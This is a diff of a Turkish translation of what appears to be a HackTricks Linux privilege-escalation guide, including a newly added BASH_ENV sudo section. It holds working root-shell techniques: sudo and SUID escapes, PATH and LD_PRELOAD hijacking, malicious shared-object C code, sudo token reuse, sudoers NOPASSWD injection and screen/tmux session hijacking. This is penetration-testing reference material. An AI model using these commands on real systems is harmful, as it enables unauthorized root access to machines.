bir klasöre **yazabiliyorsanız**, farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla yazılabilir klasörün içinde **bir backdoor oluşturarak** ayrıcalıkları yükseltebilirsiniz; ancak bu komutun $PATH'te yazılabilir klasörünüzden önce yer alan bir klasörden **yüklenmemesi** gerekir. ### SUDO and SUID -Bazı komutları sudo kullanarak çalıştırma izniniz olabilir veya bazı dosyalar suid bitiyle işaretlenmiş olabilir. Bunu şu şekilde kontrol edin: +Bazı komutları sudo ile çalıştırmaya izinli olabilirsiniz veya bazı dosyaların suid biti setli olabilir. Bunu şu komutla kontrol edin: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Bazı **beklenmedik komutlar dosyaları okumaya ve/veya yazmaya ya da hatta bir komut çalıştırmaya izin verir.** Örneğin: +Bazı **beklenmedik komutlar dosyaları okumaya ve/veya yazmaya veya hatta bir komutu çalıştırmaya izin verir.** Örneğin: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,28 +746,53 @@ less>! ``` ### NOPASSWD -Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla parola bilmeden bazı komutları çalıştırmasına izin verebilir. +Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla bir komutu parola bilmeden çalıştırmasına izin verebilir. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; artık root directory'ye bir ssh key ekleyerek veya `sh` çağırarak kolayca bir shell elde etmek mümkün. +Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; artık root dizinine bir ssh key ekleyerek veya `sh` çağırarak kolayca bir shell elde etmek mümkün. ``` sudo vim -c '!sh' ``` ### SETENV -Bu yönerge, kullanıcının bir şeyi çalıştırırken **set an environment variable** yapmasına izin verir: +Bu yönerge, kullanıcının bir **çevresel değişken (environment variable)** ayarlayarak bir şey çalıştırmasına izin verir: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Bu örnek, **HTB machine Admirer'e dayanan**, script root olarak çalıştırılırken rastgele bir python kütüphanesini yüklemek için **PYTHONPATH hijacking**'e **savunmasızdı:** +Bu örnek, **HTB machine Admirer'a dayanan**, script root olarak çalıştırılırken rastgele bir python kütüphanesini yüklemek için **PYTHONPATH hijacking**'e **açıktı:** ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### BASH_ENV sudo env_keep aracılığıyla korunmuş → root shell + +Eğer sudoers `BASH_ENV`'i koruyorsa (ör. `Defaults env_keep+="ENV BASH_ENV"`), izin verilen bir komut çağrıldığında Bash’in etkileşimsiz başlangıç davranışından yararlanarak istediğiniz kodu root olarak çalıştırabilirsiniz. + +- Why it works: Etkileşimsiz shell'ler için Bash, `$BASH_ENV`'i değerlendirir ve hedef script'i çalıştırmadan önce o dosyayı source eder. Birçok sudo kuralı bir script veya bir shell wrapper çalıştırılmasına izin verir. Eğer `BASH_ENV` sudo tarafından korunuyorsa, dosyanız root ayrıcalıklarıyla source edilir. + +- Gereksinimler: +- Çalıştırabileceğiniz bir sudo kuralı (etkileşimsiz olarak `/bin/bash` çağıran herhangi bir hedef, veya herhangi bir bash script). +- `BASH_ENV`'in `env_keep` içinde olması (`sudo -l` ile kontrol edin). + +- PoC: +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` +- Sertleştirme: +- `BASH_ENV` (ve `ENV`) öğelerini `env_keep`'ten kaldırın, `env_reset`'i tercih edin. +- sudo-izinli komutlar için shell sarmalayıcılarından kaçının; minimal ikili (binary) kullanın. +- Korunan `env` değişkenleri kullanıldığında sudo I/O kaydı ve uyarı mekanizmalarını düşünün. + ### Sudo yürütme atlatma yolları **Jump** ile diğer dosyaları okuyun veya **symlinks** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ @@ -787,39 +812,39 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Karşı Önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary komut yolu olmadan +### Sudo komutu/SUID binary komut yolu olmadan -Eğer **sudo permission** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bundan yararlanabilirsiniz. +Eğer **sudo izni** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH variable'ını değiştirerek exploit edebilirsiniz ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Bu teknik, bir **suid** binary başka bir komutu komutun yolunu belirtmeden çalıştırıyorsa da kullanılabilir (garip bir SUID binary'nin içeriğini her zaman _**strings**_ ile kontrol edin). +Bu teknik, bir **suid** binary başka bir komutu yolunu belirtmeden çalıştırıyorsa (her zaman garip bir SUID binary'nin içeriğini _**strings**_ ile kontrol edin) durumunda da kullanılabilir. [Payload examples to execute.](payloads-to-execute.md) -### Komut yoluna sahip SUID binary +### Komut yolu olan SUID binary -Eğer **suid** binary **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde bir fonksiyon **export** etmeyi deneyebilirsiniz. +Eğer **suid** binary **başka bir komutu yolunu belirterek çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutun adıyla bir fonksiyon oluşturup bunu **export** etmeyi deneyebilirsiniz. Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturup export etmeyi denemelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Sonra, suid ikiliyi çağırdığınızda bu fonksiyon çalıştırılacaktır +Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırılacaktır ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). Bu işleme kütüphane ön yüklemesi denir. -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +Ancak, sistem güvenliğini korumak ve bu özelliğin özellikle **suid/sgid** yürütülebilir dosyalarla kötüye kullanılmasını önlemek için sistem bazı koşullar uygular: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. +- Yükleyici, gerçek kullanıcı kimliği (_ruid_) ile etkin kullanıcı kimliği (_euid_) eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'ü göz ardı eder. +- suid/sgid olan yürütülebilir dosyalar için, yalnızca standart yollarda bulunan ve aynı zamanda suid/sgid olan kütüphaneler önceden yüklenir. -Yetki yükseltmesi, `sudo` ile komut çalıştırma yetkiniz varsa ve `sudo -l` çıktısında **env_keep+=LD_PRELOAD** ifadesi bulunuyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin `sudo` ile komutlar çalıştırıldığında bile kalıcı olmasına ve tanınmasına izin vererek, potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kod çalıştırılmasına yol açabilir. +Privilege escalation, `sudo` ile komut çalıştırma yetkiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, komutlar `sudo` ile çalıştırıldığında bile **LD_PRELOAD** ortam değişkeninin korunmasına ve tanınmasına izin verir; bu da potansiyel olarak yükseltilmiş ayrıcalıklarla herhangi bir kodun çalıştırılmasına yol açabilir. ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,7 +861,7 @@ setuid(0); system("/bin/bash"); } ``` -Ardından **derleyin** şu şekilde: +Sonra **bunu derleyin** kullanarak: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -846,7 +871,7 @@ Son olarak, **escalate privileges** çalıştırırken sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env değişkenini kontrol ediyorsa suistimal edilebilir; çünkü kütüphanelerin aranacağı yolu o kontrol eder. +> Benzer bir privesc, attacker **LD_LIBRARY_PATH** env variable'ını kontrol ediyorsa kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder. ```c #include #include @@ -868,13 +893,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Olağandışı görünen **SUID** izinlerine sahip bir ikiliyle karşılaşıldığında, **.so** dosyalarını düzgün şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: +Normal olmayan bir binary ile **SUID** izinleriyle karşılaşıldığında, **.so** dosyalarını doğru şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak, istismar için potansiyel olduğunu gösterir. +Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hatayla karşılaşmak exploitation için potansiyel olduğunu gösterir. -Bunu istismar etmek için, aşağıdaki kodu içeren _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturulur: +Bunu exploit etmek için, diyelim ki _"/path/to/.config/libcalc.c"_, adlı bir C dosyası oluşturup içine aşağıdaki kodu yazarsınız: ```c #include #include @@ -885,13 +910,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle ederek ve yükseltilmiş ayrıcalıklara sahip bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlamaktadır. +Bu kod, derlendikten ve çalıştırıldıktan sonra, dosya izinlerini manipüle ederek ve yükseltilmiş ayrıcalıklarla bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar. -Yukarıdaki C dosyasını bir shared object (.so) dosyasına şu komutla derleyin: +Yukarıdaki C dosyasını bir shared object (.so) dosyasına derlemek için: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Son olarak, etkilenen SUID binary'nin çalıştırılması istismarı tetiklemeli ve potansiyel olarak sistemin ele geçirilmesine olanak sağlamalıdır. +Son olarak, etkilenen SUID binary'yi çalıştırmak exploit'i tetiklemeli ve potansiyel olarak sistemin ele geçirilmesine izin vermelidir. ## Shared Object Hijacking ```bash @@ -903,7 +928,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Artık yazabileceğimiz bir dizinden kütüphane yükleyen bir SUID binary bulduğumuza göre, gerekli isimle o dizine kütüphaneyi oluşturalım: +SUID binary'nin yazabileceğimiz bir klasörden kütüphane yüklediğini bulduğumuza göre, gerekli isimle o klasöre kütüphaneyi oluşturalım: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -916,17 +941,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Eğer şöyle bir hata alırsanız +Aşağıdakine benzer bir hata alırsanız ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyona sahip olması gerektiği anlamına gelir. +bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyon içermesi gerektiği anlamına gelir. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) saldırganın yerel güvenlik kısıtlamalarını aşmak için istismar edebileceği Unix binaries'lerinin özenle hazırlanmış bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) komut içine **sadece argüman enjekte edebildiğiniz** durumlar için aynıdır. +[**GTFOBins**](https://gtfobins.github.io) saldırganların yerel güvenlik kısıtlamalarını aşmak için istismar edebileceği Unix ikili dosyalarının küratörlüğünü yapılmış bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise sadece bir komuta **argüman enjekte edebildiğiniz** durumlar için aynıdır. -Proje, kısıtlı shells'lerden kaçmak, ayrıcalıkları yükseltmek veya sürdürmek, dosya transferi yapmak, bind and reverse shells oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix binaries'lerinin meşru fonksiyonlarını toplar. +Proje, restricted shell'lerden çıkmak, ayrıcalıkları yükseltmek veya korumak, dosya transferi yapmak, bind ve reverse shell'ler oluşturmak ve diğer post-exploitation görevlerine yardımcı olmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -945,22 +970,22 @@ https://gtfoargs.github.io/ ### FallOfSudo -Eğer `sudo -l` komutuna erişiminiz varsa, herhangi bir sudo kuralının nasıl istismar edilebileceğini kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. +Eğer `sudo -l` çalıştırabiliyorsanız, herhangi bir sudo kuralını nasıl istismar edebileceğini kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. ### Reusing Sudo Tokens -Şifreye sahip olmadığınız ancak **sudo access**'iniz olduğu durumlarda, bir sudo komutunun çalıştırılmasını **bekleyip session token'ını kaçırarak** ayrıcalıkları yükseltebilirsiniz. +Parolayı bilmediğiniz ancak **sudo erişiminiz** olduğu durumlarda, bir sudo komutunun çalıştırılmasını **bekleyip oturum token'ını ele geçirerek** ayrıcalıkları yükseltebilirsiniz. -Requirements to escalate privileges: +Ayrıcalıkları yükseltmek için gereksinimler: -- Zaten _sampleuser_ olarak bir shell'iniz var -- _sampleuser_ **`sudo` kullanmış** olmalı ve bunu **son 15 dakika** içinde yapmış olmalı (varsayılan olarak bu, şifre girmeden `sudo` kullanmamıza izin veren sudo token'ın süresidir) -- `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 olmalı -- `gdb` erişilebilir olmalı (yükleyebilmelisiniz) +- Zaten "_sampleuser_" olarak bir shell'e sahipsiniz +- "_sampleuser_" son **15 dakika** içinde bir şey çalıştırmak için **`sudo`** kullanmış (varsayılan olarak sudo token'ının parola sormadan `sudo` kullanmamıza izin verdiği süre budur) +- `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 +- `gdb` erişilebilir (yükleyebilirsiniz) (Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Eğer bu gereksinimlerin hepsi sağlanıyorsa, **ayrıcalıkları şu aracı kullanarak yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash @@ -968,38 +993,37 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde bir sh shell oluşturacaktır; bu shell **root tarafından sahip olunan ve setuid bitine sahip** olacaktır. +- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde bir sh shell oluşturacak, **setuid ile root'a ait** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Üçüncü exploit** (`exploit_v3.sh`) **bir sudoers file oluşturacak**; bu **sudo tokens'ı ebedi yapacak ve tüm kullanıcıların sudo kullanmasına izin verecek** +- Bu **üçüncü exploit** (`exploit_v3.sh`) **sudoers file oluşturacak** ve bu dosya **sudo tokens'i ebedi hale getirip tüm kullanıcıların sudo kullanmasına izin verecek** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Eğer klasörde veya klasör içindeki oluşturulmuş dosyaların herhangi birinde **yazma izinlerine** sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ile bir kullanıcı ve PID için **sudo token** oluşturabilirsiniz.\ -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şu şekilde parola bilmenize gerek kalmadan **sudo ayrıcalıkları elde edebilirsiniz**: +Klasörde veya klasör içindeki oluşturulmuş dosyaların herhangi birinde **write permissions**'a sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) programını kullanarak bir kullanıcı ve PID için **sudo token oluşturabilirsiniz**.\ +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID'si 1234 olan bir shell'e sahipseniz, parolayı bilmenize gerek kalmadan **sudo privileges** elde edebilirsiniz: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve bunun nasıl yapılacağını belirler.\ -Bu dosyalar **varsayılan olarak yalnızca user root ve group root tarafından okunabilir**.\ -**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgileri **elde edebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** yetkileri **yükseltebilirsiniz**. +Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak sadece root kullanıcısı ve root grubu tarafından okunabilir**.\ +**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgiler **elde edebilirsiniz**, ve eğer herhangi bir dosyaya **yazabiliyorsanız** **escalate privileges** yapabilirsiniz. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Yazabiliyorsanız bu izni kötüye kullanabilirsiniz +Yazma izniniz varsa bu izni kötüye kullanabilirsiniz. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Bu izinleri kötüye kullanmanın bir başka yolu: +Bu izinleri kötüye kullanmanın başka bir yolu: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1008,17 +1032,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` ikili dosyasına OpenBSD için `doas` gibi bazı alternatifler vardır; yapılandırmasını `/etc/doas.conf`'ta kontrol etmeyi unutmayın. +`sudo` ikili dosyasına bazı alternatifler vardır; örneğin OpenBSD için `doas`. Yapılandırmasını `/etc/doas.conf` dosyasında kontrol etmeyi unutmayın. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Eğer bir kullanıcının ayrıcalıkları yükseltmek için genellikle bir makineye bağlanıp `sudo` kullandığını biliyorsanız ve o kullanıcı bağlamı içinde bir shell elde ettiyseniz, **yeni bir sudo executable oluşturabilirsiniz**; bu executable önce kodunuzu root olarak çalıştırır, ardından kullanıcının komutunu yürütür. Sonra, kullanıcı bağlamının **$PATH**'ini değiştirin (örneğin yeni yolu .bash_profile içine ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında sizin sudo executable'ınız çalıştırılır. +Eğer bir **kullanıcının genellikle bir makineye bağlanıp ayrıcalıkları yükseltmek için `sudo` kullandığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, root olarak kodunuzu çalıştırıp sonra kullanıcının komutunu yürütecek yeni bir sudo executable oluşturabilirsiniz. Ardından, kullanıcı bağlamının **$PATH**'ini (örneğin yeni yolu .bash_profile içine ekleyerek) değiştirin; böylece kullanıcı `sudo` çalıştırdığında sizin sudo executable'ınız çalıştırılır. -Dikkat: eğer kullanıcı farklı bir shell (bash değil) kullanıyorsa yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. +Dikkat: Kullanıcı farklı bir shell (bash olmayan) kullanıyorsa yeni yolu eklemek için başka dosyaları değiştirmeniz gerekir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. -Ya da şu gibi bir şey çalıştırmak: +Veya şu gibi bir şey çalıştırmak: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib'i `/var/tmp/flag15/` dizinine kopyalarsanız, program burada `RPATH` değişkeninde belirtildiği gibi onu kullanacaktır. +lib'i `/var/tmp/flag15/` dizinine kopyalarsanız, `RPATH` değişkeninde belirtildiği gibi program tarafından bu konumda kullanılacaktır. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1069,7 +1093,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Sonra `/var/tmp` dizinine `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun +Ardından `/var/tmp` içine `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun. ```c #include #define SHELL "/bin/sh" @@ -1084,8 +1108,8 @@ execve(file,argv,0); ``` ## Yetkiler -Linux yetkileri bir sürece mevcut root ayrıcalıklarının **alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve farklı birimlere** ayırır. Bu birimlerin her biri süreçlere bağımsız olarak verilebilir. Böylece ayrıcalıkların tamamı azaltılarak istismar riskleri düşürülür.\ -Aşağıdaki sayfayı okuyun, **yetkiler ve bunların nasıl kötüye kullanılacağı hakkında daha fazla bilgi edinmek için**: +Linux capabilities, bir sürece mevcut root ayrıcalıklarının bir **alt kümesini sağlar**. Bu, root **ayrıcalıklarını daha küçük ve ayrı birimlere böler**. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu şekilde tüm ayrıcalık seti azaltılarak kötüye kullanım riskleri düşürülür.\ +Aşağıdaki sayfayı okuyarak **yetkiler ve bunların nasıl suistimal edileceği hakkında daha fazla bilgi edinin**: {{#ref}} @@ -1094,39 +1118,39 @@ linux-capabilities.md ## Dizin izinleri -Dizinde, **"execute" biti** etkilenmiş kullanıcının "**cd**" ile klasöre girebileceğini ifade eder.\ -**"read"** biti kullanıcının **dosyaları listeleyebileceğini**, ve **"write"** biti kullanıcının **yeni dosyalar oluşturup silebileceğini** gösterir. +Bir dizinde, **"execute" biti** etkilenen kullanıcının klasöre "**cd**" yapabilmesini ifade eder.\ +**"read"** biti kullanıcının **dosyaları listeleyebilmesini**, ve **"write"** biti kullanıcının yeni **dosyalar** **oluşturup silebilmesini** ifade eder. ## ACLs -Erişim Kontrol Listeleri (ACLs), keyfi izinlerin ikincil katmanını temsil eder ve **geleneksel ugo/rwx izinlerini geçersiz kılabilir**. Bu izinler, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara hak verip/vermeme yoluyla dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar. Bu **ince ayar seviyesi daha hassas erişim yönetimi** sağlar. Daha fazla detay [**burada**](https://linuxconfig.org/how-to-manage-acls-on-linux) bulunabilir. +Access Control Lists (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilir**. Bu izinler, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara hakları verip reddederek dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar. Bu **ayrıntı düzeyi**, daha hassas erişim yönetimi sağlar. Daha fazla detay için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) adresine bakın. -**Ver** kullanıcı "kali"ya bir dosya üzerinde okuma ve yazma izinleri: +**Verin** kullanıcı "kali"ye bir dosya üzerinde okuma ve yazma izinleri: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Sistemden belirli ACL'lere sahip dosyaları al:** +**Alın** sistemden belirli ACL'lere sahip dosyaları: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Açık shell sessions +## Açık shell oturumları -**Eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** session'larını **hijack** edebilirsiniz.\ -**En yeni sürümlerde** yalnızca **kendi kullanıcınızın** screen sessions'larına **connect** olabilirsiniz. Ancak **session içinde ilginç bilgiler** bulabilirsiniz. +Eski **sürümlerde**, farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ +En **yeni sürümlerde**, sadece **kendi kullanıcınızın** screen oturumlarına **connect** olabilirsiniz. Ancak, oturumun içinde **oturumun içinde ilginç bilgiler** bulabilirsiniz. ### screen sessions hijacking -**screen sessions'ları listele** +**Screen oturumlarını listele** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Bir session'a bağlan** +**Bir oturuma bağlan** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1134,9 +1158,10 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Bu, **eski tmux sürümlerinde** bir sorundu. root tarafından oluşturulmuş bir tmux (v2.1) oturumunu ayrıcalıksız kullanıcı olarak ele geçiremedim. +Bu, **eski tmux sürümleri** ile ilgili bir sorundu. +root tarafından oluşturulmuş bir tmux (v2.1) session'ını ayrıcalıksız bir kullanıcı olarak hijack edemedim. -**tmux oturumlarını listeleme** +**List tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1144,7 +1169,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Oturuma bağlan** +**Session'a bağlan** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1160,27 +1185,27 @@ Check **Valentine box from HTB** için bir örneğe bakın. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -September 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir.\ -Bu hata, söz konusu OS'lerde yeni bir ssh anahtarı oluşturulduğunda ortaya çıkar; çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hata tarafından etkilenmiş olabilir.\ +Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH İlginç yapılandırma değerleri -- **PasswordAuthentication:** Parola doğrulamasına izin verilip verilmediğini belirtir. Varsayılan `no`. -- **PubkeyAuthentication:** Public key authentication'e izin verilip verilmediğini belirtir. Varsayılan `yes`. -- **PermitEmptyPasswords**: Parola doğrulaması izinli olduğunda, sunucunun boş parola dizilerine sahip hesaplara giriş izni verip vermediğini belirtir. Varsayılan `no`. +- **PasswordAuthentication:** Parola ile kimlik doğrulamanın izin verilip 